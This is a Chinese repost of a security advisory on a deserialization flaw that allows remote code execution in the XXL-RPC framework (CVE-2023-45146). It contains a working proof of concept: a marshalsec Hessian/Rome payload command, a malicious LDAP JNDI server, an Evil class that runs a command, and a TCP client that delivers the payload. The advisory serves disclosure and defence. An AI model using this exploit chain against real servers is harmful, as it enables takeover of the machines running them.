概括
XXL-RPC是一个高性能、分布式RPC框架。有了它,就可以使用Netty框架和Hessian序列化机制来搭建TCP服务器了。使用此类配置时,攻击者可能能够连接到服务器并提供恶意序列化对象,这些对象一旦反序列化,就会强制服务器执行任意代码。这可能会被滥用来控制服务器正在运行的机器。
产品
XXL-RPC
测试版本
1.7.0
细节
HessianSerializer.java( GHSL-2023-052)中的不安全反序列化
XXL-RPC 框架实现了几种设置服务器和反序列化传入数据的方法。可以将应用程序配置为使用 Netty 服务器和 Hessian 反序列化器,如下所示:
XxlRpcProviderFactory providerFactory = new XxlRpcProviderFactory();
providerFactory.setServer(NettyServer.class);
providerFactory.setSerializer(HessianSerializer.class);
可以看出,NettyServer用于NettyDecoder解码传入的消息:
xxl-rpc-core/src/main/java/com/xxl/rpc/core/remoting/net/impl/netty/server/NettyServer.java:57
channel.pipeline()
// --snip--
.addLast(new NettyDecoder(XxlRpcRequest.class, xxlRpcProviderFactory.getSerializerInstance()))
通过这样的配置,传入的消息将在以下位置接收NettyDecoder.decode:
xxl-rpc-core/src/main/java/com/xxl/rpc/core/remoting/net/impl/netty/codec/NettyDecoder.java:15-45
public class NettyDecoder extends ByteToMessageDecoder {
// --snip--
@Override
public final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {
// --snip--
int dataLength = in.readInt();
if (dataLength < 0) {
ctx.close();
}
// --snip--
byte[] data = new byte[dataLength];
in.readBytes(data);
Object obj = serializer.deserialize(data, genericClass);
out.add(obj);
}
}
可以看出,首先从消息中读取一个整数,表示实际数据的长度。然后读取所述数据并直接传递给serializer.deserialize. 由于序列化器被配置为HessianSerializer,因此反序列化由它处理:
xxl-rpc-core/src/main/java/com/xxl/rpc/core/serialize/impl/HessianSerializer.java:45
@Override
public <T> Object deserialize(byte[] bytes, Class<T> clazz) {
ByteArrayInputStream is = new ByteArrayInputStream(bytes);
Hessian2Input hi = new Hessian2Input(is);
try {
Object result = hi.readObject();
return result;
}
// --snip--
}
消息字节直接传递给Hessian2Input.readObject,它将继续反序列化消息中发送的对象。
请注意,XXL-RPC 使用com.cauchoHessian 的实现,已知该实现容易受到不安全反序列化的影响。其他实现尝试通过包含禁止对象的禁止列表(例如 )来缓解此问题sofa-hessian,但这种方法也并不完美(请参阅补救措施部分)。
影响
此问题可能会导致远程代码执行 (RCE)。
资源
此漏洞的利用方式因使用 XXL-RPC 框架的应用程序的类路径中可用的反序列化小工具而异。正如这篇博文中所述,必须满足几个条件才能利用此漏洞实现远程代码执行。
作为概念证明,并且为了简单起见,我们做出以下假设:
该应用程序的Rome依赖项之一是:
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
允许远程类加载(因为正在使用旧的 JDK 版本,或者使用 JVM 参数-Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
如果满足这两个条件,XxlRpcServerApplication则可以启动XXL-RPC示例目录中的类,该类设置了一个在端口7080上侦听的Netty服务器。
然后,可以使用以下命令生成强制 JNDI 解析到我们选择的服务器的恶意负载marshalsec:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 Rome ldap://localhost:1389 > payload.bi
我们设置了一个恶意 JNDI 服务器,该服务器返回对也在我们控制的服务器中运行的远程代码库的引用:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/#Evil 1389
运行在端口8000的HTTP服务器提供.class该类的文件Evil,其源代码如下:
public class Evil {
static {
try {
Runtime.getRuntime()
.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (Exception e) {
}
}
}
最后,我们可以编写一个 TCP 客户端,向 Netty 服务器发送适当的消息来触发 RCE:
import java.io.DataOutputStream;
import java.net.Socket;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TcpClient {
public static void main(String[] args) {
try {
byte[] DESERIALIZATION_PAYLOAD = Files.readAllBytes(Paths.get("payload.bin"));
Socket socket = new Socket("localhost", 7080);
DataOutputStream out = new DataOutputStream(socket.getOutputStream());
out.writeInt(DESERIALIZATION_PAYLOAD.length);
out.write(DESERIALIZATION_PAYLOAD);
out.flush();
socket.close();
} catch (Exception ex) {
System.err.println(ex);
}
}
}
原文地址:https://securitylab.github.com/advisories/GHSL-2023-052_XXL-RPC/
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):xxl-rpc - 分布式服务框架 反序列化 - CVE-2023-45146
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论